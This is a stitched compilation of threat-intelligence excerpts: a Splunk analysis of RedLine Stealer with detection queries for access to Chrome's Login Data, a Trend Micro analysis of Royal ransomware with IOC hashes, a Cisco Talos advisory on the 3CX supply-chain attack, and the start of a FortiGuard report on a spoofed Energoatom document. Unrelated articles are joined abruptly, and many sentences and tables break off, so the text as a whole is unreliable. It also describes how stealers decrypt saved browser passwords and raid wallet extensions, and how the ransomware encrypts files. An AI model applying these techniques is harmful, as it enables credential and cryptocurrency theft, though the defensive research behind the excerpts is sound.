To request incident response resources or technical assistance related to these threats, contact CISA at Central@cisa.gov. References CISA Alert: Microsoft Office 365 Security Recommendations CISA Alert: Technical Approaches to Uncovering and Remediating Malicious Activity CISA


Webpage: Telework Guidance CISA Webpage: VPN-Related Guidance FBI Private Industry Notification: PIN 20200409-001 References [1] CyberScoop:


As Europe prepares to vote, Microsoft warns of Fancy Bear attacks on democratic think tanks Revisions Initial Version: December 1, 2020


RedLine Stealer is a malware strain designed to steal sensitive information from compromised systems.

Do Not Cross The RedLine Stealer Detections and Analysis


It is typically distributed through phishing emails, social engineering tactics, and malicious URL links.


Since it was released, threat actors and adversaries have leveraged RedLine Stealer because of its availability and flexibility for stealing credentials that can cause financial loss and data leakage.


In 2020, there was a RedLine campaign that targeted both enterprise and personal devices.


Amadey malware is a botnet that is being used now to distribute RedLine malware to steal data such as browser credentials, crypto wallets and even credit card information.


This malicious software has been in the top malware sample shared for months on anyrun statistics reports as well as in Malware bazaar.


In this blog post, the Splunk Threat Research Team provides a deep dive analysis of this threat and valuable insights to enable blue teamers to defend and detect this malware variant.


Blog details include: Analysis of the phishing URLs The RedLine Loader The RedLine Stealer Capabilities Splunk Security Content Spear Phish Link Data The operators behind RedLine Stealer use several techniques to gain initial access to their victims.


One common initial access technique that this Trojan Stealer uses is a phishing URL link.


To gain more insight on how this malware executes its campaign, the Splunk Threat Research Team (STRT) collected 90 days of URL data from URLhaus and used Jupyter Notebooks to analyze the dataset to identify trends of the RedLine URL links.


Based on URL tags, we can see that this Trojan is also bundled, downloaded or dropped by other malware like Amadey or SmokeLoader.


Figure 2 shows the top 20 domains that RedLine Stealer used to host its malware.


Based on the list below, the most commonly abused legitimate file sharing domains are GitHub, Dropbox, Discord, Bitbucket, OneDrive and Google Drive.


The use of these legitimate platforms allows threat actors or adversaries to evade detections or to blend in its C2 communication with other normal network traffic so security solutions will not raise any red flags or detection alerts.


Figure 3 shows a simple flow diagram of how RedLine Stealer uses a loader in the form of a self-extracting archive (.exe) to initiate its infection.


Figure 3 (For a larger resolution of this diagram visit this link) Defense Evasion Component As described in Figure 3, the Redline Loader will also load an executable named it532878.exe, which is a .NET executable that is responsible for defense evasion.


Figure 4 shows the code snippet of this RedLine component that will do the following: Escalate its privilege as administrator or trustedinstaller Try to disable Windows Defender service “WinDefend” Try to disable Tamper Protection settings of Windows Defender.


Disable Windows update services such as (“wuauserv”, “WaaSMedicSvc”, “UsoSvc”)


Disable Automatic Update and change Windows configurations related to Windows Update Figure 4 RedLine Stealer Deep Dive C2 Connection Check RedLine Stealer is designed to be stealthy and avoid detection by security software.


Therefore, it typically starts by decrypting its initial configuration data, which is often encoded or encrypted to prevent detection.


It starts its code by decrypting its initial configuration that the malware needs to connect to its Command and Control (C2) server and receive instructions on how to operate.


This includes the domain or IP address of the C2 server, as well as the connection IDs and keys that are used to establish a secure connection.


Figure 5 shows the code of the decryption algorithm used by RedLine Stealer to decrypt its initial configuration data which is a combination of Base64 and XOR functions.


Figure 6 shows the code of RedLine that consistently checks the connection of its client malware to the C2 server.


If the C2 server is already down or offline during analysis, this piece of code can be considered an anti-sandbox technique because RedLine will not continue its execution.


Figure 6 After establishing a connection to its C2, it will fetch another configuration setting data from its C2 server that will fill the ScanningArg() class, which is a data structure of boolean variables that will serve as a switch to RedLine functionality.


Figure 7 shows the snippet of ScanningArg() class data member of RedLine which accepts either ON or OFF (True or False) values to enable the chosen RedLine settings or functions.


Figure 7 RedLine Capabilities RedLine Stealer has several features that will be executed depending on the configuration setting it downloaded from its C2 to steal information from the compromised or targeted host.


Figure 8 is the screenshot showing several function capabilities of RedLine that we renamed during our analysis.


Figure 8 Gather System Information As stated earlier, RedLine Stealer has the ability to collect or extract various types of system information from a targeted or compromised computer.


To provide a more detailed explanation, the table summary below shows each of the functions of the RedLine Stealer malware and describes the specific information that each function attempts to gather.


Function name (renamed) Description func_GetHostSerialNumber() Retrieve the user domain name, username and host serial number (without “-”) and convert it into a MD5 hash func_GetExecutingAssembly() Get the full file path of its running malware sample func_GetLanguageTimeZoneOsVersion() Retrieves system default language, timezone and OS version func_GetUserName() Get the user name of the compromised host func_GetProcessor() Get processor information of the compromised host by executing "SELECT * FROM Win32_Processor" func_GetGraphicCards() Get AdapterRAM and Graphic Card Name and type by executing "root\\CIMV2", "SELECT *


FROM Win32_VideoController" func_GetBrowsers() Parse browser application and browser version installed in the compromised host by querying "SOFTWARE\WOW6432Node\Clients\StartMenuInternet" or "SOFTWARE\Clients\StartMenuInternet" registry func_GetTotalRAM() Get the total RAM size of compromised host by executing "SELECT * FROM Win32_OperatingSystem" and look for "TotalVisibleMemorySize" func_ListPrograms() Parse all installed application in the compromised host by querying 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall' registry func_GetFirewalls() Parse firewall and Anti Virus Product install in the compromised host by running "SELECT * FROM ROOT\\SecurityCenter2" "SELECT * FROM ROOT\\SecurityCenter" "SELECT *


FROM AntivirusProduct" "SELECT *


FROM FirewallProduct" "SELECT * FROM AntiSpyWareProduct" func_ListProcesses() Retrieve process list and process information by running 'SELECT *


In Figure 9 above, the function we’ve renamed as func_ScanScreen() is the one responsible for this screen capture capability.


Figure 9 Cracking Browser Password One of the powerful capabilities of this Trojan Stealer is cracking browser sensitive information like passwords, cookies, autofill and credit card information saved within the browser application.


Figure 10 shows a simple diagram of how RedLine Stealer was able to decrypt the password saved in the chrome browser.


It starts by locating and copying two specific file of Chrome profiles namely as “%userprofile%\Appdata\Local\Google\Chrome\User data\Local State” and “%userprofile%\Appdata\Local\Google\Chrome\User data\Default\Login Data” in the%temp% folder.


Afterward it will read the copied “Local State” file to grab the encoded and encrypted master key to decrypt the password stored in the “Login Data”.


The decrypted password will be sent to its C2 Server as part of its data exfiltration.


This malware can also steal wallet files by scanning Chrome wallet browser extensions.


Figure 11 shows the RedLine Stealer code and how it enumerates several known Crypto Wallet directories and looks for files related to crypto currencies by looking for files having “wallet” substring on its file name.


Figure 11 The table below shows some of the targeted Chrome browser extensions that RedLine Stealer tries to parse to look for Crypto Wallets.


These extensions are popular among cryptocurrency users and are used to manage and store their cryptocurrency wallets' sensitive information.


Chrome Browser Extension Identification Chrome Extension ibnejdfjmmkpcnlpebklmnkoeoihofec Tronlink jbdaocneiiinmjbjlgalhcelgbejmnid NiftyWallet nkbihfbeogaeaoehlefnkodbefgpgknn Metamask afbcbjpbpfadlkmhmclhkeeodmamcflc MathWallet hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase fhbohimaelbohpjbbldcngcnapndodjp BinanceChain odbfpeeihdkbihmopkbjmoonfanlbfcl BraveWallet hpglfhgfnhbgpjdenjgmdgoeiappafln GuardaWallet blnieiiffboillknjnepogjhkgnoapac EqualWallet cjelfplplebdjjenllpjcblmjkfcffne JaxxxLiberty fihkakfobkmkjojpchpfgcmhfjnmnfpi BitAppWallet kncchdigobghenbbaddojjnnaogfppfj iWallet amkmjjmmflddogmhpjloimipbofnfjih Wombat ffnbelfdoeiohenkjibnmadjiehjhajb YoroiWallet fhilaheimglignddkjgofkcbgekhenbh AtomicWallet nlbmnnijcnlegkjjpcfjclmcfggfefdm MewCx nanjmdknhkinifnkgdcggcfnhdaammmj GuildWallet nkddgncdjgjfcddamfgcmfnlhccnimig SaturnWallet fnjhmkhhmkbjkkabndcnnogagogbneec RoninWallet RedLine Stealer can also retrieve information related to the following: VPN (Nord, OpenVPN, ProtonVPN) profiles FileZilla credentials Discord, Telegram and Steam Token Information IOCs Hash (SHA256)


For this release, we used and considered the relevant data endpoint telemetry sources such as: Process Execution & Command Line Logging Windows Security Event ID 4663, Sysmon, or any Common Information Model compliant EDR technology Windows Security Event Log Windows System Event Log Windows PowerShell Script Block Logging


We maximized the usage of Windows Security EventCode 4663 for this analytic story.


An event that is logged whenever an attempt is made to access an object (such as files, registry or directories) in the Windows file system.


This EventCode can be helpful to monitor suspicious processes accessing critical files or folders like browser databases for credential dumping and data collection.


As an example, we used this event to develop the analytic “Windows Query Registry UnInstall Program List'' that monitors suspicious processes accessing “uninstall registry”.


This registry is being abused by several malware and APT to list all installed applications in the compromised or targeted host.


`wineventlog_security` EventCode=4663 object_file_path="\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*" | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name


process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` Figure 12 Another analytic “Windows Credentials from Password Stores Chrome Login Data Access” detects suspicious non-Chrome processes accessing the “Login Data” database file of Chrome.


Figure 13 shows how this analytic detects the simulated behavior of RedLine Stealer, in Python script, in cracking browser sensitive information.


`wineventlog_security` EventCode=4663 object_file_path="*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" AND NOT (process_path IN ("*:\\Windows\\explorer.exe", "*:\\Windows\\System32\\dllhost.exe", "*\\chrome.exe"))


| stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name


process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` Figure 13 Overall, the RedLine Stealer analytic story introduces 25 detections across MITRE ATT&CK techniques.


Automated Playbooks All of the detections associated with this analytic story create entries in the Splunk Enterprise Security risk index by default and can be used seamlessly with risk notables and the Risk Notable Playbook Pack.


Additionally, the Automated Enrichment playbook pack would also work well with the output of any of these analytics.


Identifier Reputation Analysis Dispatch Detects available indicators and routes them to indicator reputation analysis playbooks.


The output of the analysis will update any artifacts, tasks, and indicator tags.


Attribute Lookup Dispatch Detects available entities and routes them to attribute lookup playbooks.


The output of the playbooks will create new artifacts for any technologies that return information.


Learn More You can find the latest content about security analytic stories on GitHub and in Splunkbase.


Splunk Security Essentials also has all these detections available via push update.


For a full list of security content, check out the release notes on Splunk Docs.


Follow these instructions if you need an invitation to our Splunk user groups on Slack.


Contributors We would like to thank Teoderick Contreras for authoring this post and the entire Splunk Threat Research Team for their contributions: Michael Haag, Mauricio Velazco, Lou Stella, Bhavin Patel, Rod Soto, Eric McGinnis, and Patrick Bareiss.


Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks From September to December, we detected multiple attacks from the Royal ransomware group.


In this blog entry, we discuss findings from our investigation of this ransomware and the tools that Royal ransomware actors used to carry out their attacks.


This blog entry discusses in depth the findings from our investigation of samples of this new piece of ransomware, as well as the tools that Royal ransomware actors used to carry out their attacks.


Percentage of Royal ransomware attacks by country Infection Routine External reports mention that the Royal ransomware group uses callback phishing as a means of delivering their ransomware to victims (Figure 2).


Royal ransomware’s attack flow Installation Our investigation found that the ransomware actors used a compiled remote desktop malware, which was used to drop the tools they needed to infiltrate the victim’s system: they used QakBot and Cobalt Strike for lateral movement, while NetScan was used to look for any remote systems connected to the network.


Once they infiltrated the system, the ransomware actors used tools such as PCHunter, PowerTool, GMER, and Process Hacker to disable any security-related services running in the system.


They then exfiltrate the victim’s data via the RClone tool.


Payload Once everything has been set up, the ransomware actors used PsEXEC to execute the malware.


The PsEXEC commands contain the ID of the victim, along with any argument that the actors applied to the ransomware.


There were also instances of the malware actors using PsEXEC to enable the remote desktop protocol (RDP) of a target system before executing the ransomware.


Analysis


In part of our analysis, we used a ransomware sample with the detection name Ransom.Win64.YORAL.SMYXCJCT.


As shown in Table 1, Figure 3, and Figure 4, Royal ransomware requires an argument of “-id {32-byte characters}” to execute on a victim’s machine.


It also accepts “-path” to specify a target file for encryption and “-ep {value}” to calculate the partial file encryption of large files.


In some earlier samples of the ransomware, the binary wouldn’t parse all the arguments due to a bug in the code.


Argument Description -path {target path} If provided, will only encrypt the contents of the target path -id {32-byte characters} Will be used as the victim’s ID, which will be appended on the TOR link found in the dropped ransom note.


The process exists if not provided or if provided characters is not 32 bytes long -ep This argument is for the full or partial encryption of file routine Table 1.


Arguments accepted by the Royal ransomware binary Figure 3.


Checking if length of provided “-id” is 32 bytes It enumerates files and directories for encryption using FindFirstFileW, FindNextFileW, and FindClose APIs (Figure 5).


File enumeration The ransomware looks for available network shares for network encryption by listing accessible local IPs, then uses NetShareEnum and attempts to connect on ADMIN$ and IPC$ shares (Figure 6).


By doing so, Royal ransomware significantly increases the speed of its file encryption process.


Using vssadmin.exe to delete shadow copies The ransomware encrypts files using OpenSSL’s Advanced Encryption Standard (AES).


It will encrypt the AES key and IV with RSA encryption using the embedded RSA public key (Figure 9).


The RSA-encrypted AES key and IV will be appended on each encrypted file (Figure 10).


An RSA public key Figure 10.


Generation of AES Key and IV The malicious actors behind Royal ransomware use a form of intermittent encryption tactic to speed their encryption process: the ransomware first checks if the file size is divisible by 16, which is a requirement for AES (Figure 11).


For example, if the size is 18, it will append zero bytes to the file until it has a size of 32, which is now divisible by 16.


Aside from appending the needed zero bytes, it also appends an extra 0x210 Zero bytes as a placeholder for the appended RSA encrypted key. Figure 11.


Royal ransomware checking if file size is divisible by 16


If the file size is within these limits, it will encrypt the entire file.


For files greater than 5,245,000 bytes, file encryption will take place per certain calculated blocks: for example, it will encrypt first N bytes, then skip the next N bytes, then encrypt the next N bytes, and so on. Figure 12.


This value will also be used as indicator if full encryption or partial encryption will be performed on the file For example, with a file with a file size equal to 5,245,000: N = 50/10 * (5245000 / 100) & 0xFFFFFFF0 = 0x40060 (262240)


If the calculated N is greater than 1,024,000, it will simply encrypt per 1,024,000 block instead (Figure 13).


X value, 0x64 or provided value (usually 0x32), indicator if full or partial encryption 8 bytes Table 2.


An encrypted file’s structure The ransomware then renames the encrypted files by appending them with the “.royal” extension, as demonstrated in Figures 14 and 15. Figure 14.


Royal ransomware appending “.royal” to encrypted files Figure 15.


Creation of the “README.TXT” file Figure 17.


Contents of "README.TXT" with the sample ID we used appended on the TOR link.


Security Recommendations Our investigation into Royal ransomware attacks shows how the group employs a mixture of both old and new techniques, which indicates that it is no newcomer to the ransomware scene.


We highly advise users and organizations to update their systems with the latest patches and apply multi-layered defense mechanisms.


The emergence and success of the Royal ransomware gang underscore how ransomware actors are finding more innovative ways to repurposing existing tools and tactics as a means of augmenting their attacks.


End users and enterprises alike can mitigate the risk of infection from new threats like Royal ransomware by following these security best practices: Enable multifactor authentication (MFA) to prevent attackers from performing lateral movement inside a network.


This involves creating three backup copies on two different file formats, with one of the copies stored in a separate location. Patch and update systems regularly.


Companies can also benefit from the use of multilayered detection and response solutions such as Trend Micro Vision One:trade_mark:, which provides powerful XDR capabilities that collect and automatically correlate data across multiple security layers — email, endpoints, servers, cloud workloads, and networks — to prevent attacks via automated protection, while also ensuring that no significant incidents go unnoticed.


Trend Micro Apex One:trade_mark: also provides next-level automated threat detection and response to protect endpoints against advanced issues, like human-operated ransomware. Indicators of Compromise (IOCs)


SHA-256 Detection Description c0063d24f3de4e7b89abf9b690a3d264efc6ab7a626f73ad9f42d6bffe52bce7 Trojan.


Win64.COBALT.BE CobaltStrike fef79160f0ce9aa9dec15c914f2c2b40b2ae1ec2b0e65e414545dbc994afd73d Trojan.


Win64.COBALT.BE CobaltStrike 3434271f2038afaddad4caad8000e390b3573b2b53e02841653a4ee0dfd73674 Trojan.


Win64.COBALT.BE CobaltStrike 0ac0b3758359855e96367b6c83b0aabdc6cfb59b4caa1cec48632defd21cdf3c Trojan.


Win64.COBALT.BE CobaltStrike 451cef0085dc5b474cc5c68af079d0367d7d2ec73ae2210788beb5297e1fbd6d Trojan.


Win64.COBALT.BE CobaltStrike e710e902507ad63e1d2ce1220212b1a751b70504259457234103bb22845a9424 Trojan.


Win32.QAKBOT.DRSV QakBot 2718dcbb503b6334078daf4af61e17a547fb80c9b811c26cfc9d32f5ce63a826 Trojan.


Win32.DEYMA.AM Compiled Remote Desktop Malware bd2c2cf0631d881ed382817afcce2b093f4e412ffb170a719e2762f250abfea4 PUA.Win64.ProcHack.


AC Process Hacker 572d88c419c6ae75aeb784ceab327d040cb589903d6285bbffa77338111af14b HackTool.Win32.NetScan.


AG NetScan 094d1476331d6f693f1d546b53f1c1a42863e6cde014e2ed655f3cbe63e5ecde HackTool.


B PCHunter bb48f5c915ab7bbbbbf092a20169aaf3ced46b492ed69550854a55254ce10572 Backdoor.


Win32.SWRORT.YXCJ5Z Malware Component e263b9d5467bf724000966da2acfe06520a464c566e4b3d9833213f850f3f1f2 HackTool.


BAT.RDPEnable.


R06CC0DK222 Royal Ransomware Binary a61b71ee73ea8c0f332591e361adeda04705c65b5f4d549066677ec4e71212f7 Ransom.Win32.YORAL.YXCKB Royal Ransomware Binary 56e8bd8b0c5bfb87956f7915bc47a9ecf5d338b804cee1dccacf53400d602be3 Ransom.Win32.YORAL.YECJYT Royal Ransomware Binary Authors Ivan Nicole Chavez Threat Analyst Byron Gelera Threats Analyst Monte de Jesus Threats Analyst Don Ovid Ladores Threats Analyst Khristian Joseph Morales Threats Analyst


Cisco Talos is tracking and actively responding to a supply chain attack involving the 3CX Desktop Softphone application.

Threat Advisory 3CX Softphone Supply Chain Compromise


MacOS systems used a different infection chain leveraging a hardcoded C2 domain, as opposed to the GitHub repo.


This is just the latest supply chain attack threatening users, after the SolarWinds incident in 2020 and the REvil ransomware group exploiting Kaseya VSA in 2021.SummaryCisco Talos recently became aware of a supply chain attack affecting Windows and MacOS users of the 3CX software-based phone application.


This attack leveraged the legitimate update functionality of the 3CX application to deliver a set of malicious payloads to 3CX users.


The GitHub repository hosted a series of icon files with encrypted data appended to the end of the files.


These encrypted strings, once decrypted, contained the C2 domains for additional malicious artifacts.


The MacOS version used a hard coded C2 domain.


These second-stage payloads are information stealers that attempt to obtain system information and the latest browsing history records, indicating this information may be used as a filtering mechanism to identify and discard some victims while maintaining unauthorized access to others.


During our investigation we were able to see file activity dating back to February 3, 2023.


The full scope of the attack is uncertain at this point.


The 3CX website claims to have over 600,000 customers and 12 million daily users.


3CX is currently asking users to use the web app while they work to release an update.


The sbmsa[.]wiki domain was also created on Feb. 9, 2023, which was found to be used by the second stage of the MacOS version.


Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.


Talos created the following coverage for this:Snort SIDs:Snort 3: 300480,300481Snort 2: 61550-61553Orbital QueriesCisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.


Additionally, the users can access the OSQueries directly on GitHub for both Windows and MacOS.Indicators of Compromise (IOCs)Indicators of compromise (IOCs) associated with ongoing activity can be found here.


Affected platforms: Microsoft WindowsImpacted parties: Targeted Windows usersImpact: Compromised machines are under the control of the threat actorSeverity level: Medium As part of our ongoing research on malware being used in the Russian-Ukrainian conflict, FortiGuard Labs has encountered a malicious spoofed document pretending to be from the Ukrainian company, Energoatom, a state-owned enterprise that operates Ukraine’s nuclear power plants.

Malware Disguised as Document from Ukraines Energoatom Delivers Havoc Demon Backdoor


Since the war with Russia began, Ukraine’s energy sector has been under constant cyberattack.


For example, in April 2022, an attack deploying INDUSTROYER2 and CADDYWIPER wiper malware targeted energy companies.


Aside from highlighting the technical details of this latest multi-staged attack, which includes several evasion techniques, this article also discusses some strange artifacts that make us think this could be a work-in-progress or part of a red-team exercise.


Document Analysis The macro-enabled document is named “zatverdzhenniy_spisok_osib_na_otrim”, which roughly translates to “approved list of persons to receive” in Ukrainian.


It arrives inside an ISO image archive bearing the same filename.


It was first submitted to VirusTotal in mid-March of this year.


When opened, it displays an image instructing the user to enable Word’s macro code execution to reveal information supposedly protected by M.E. Doc (My Electronic Document).


This popular Ukrainian document management system is used to exchange important and sensitive documents with organizations (including regulatory authorities) in electronic form.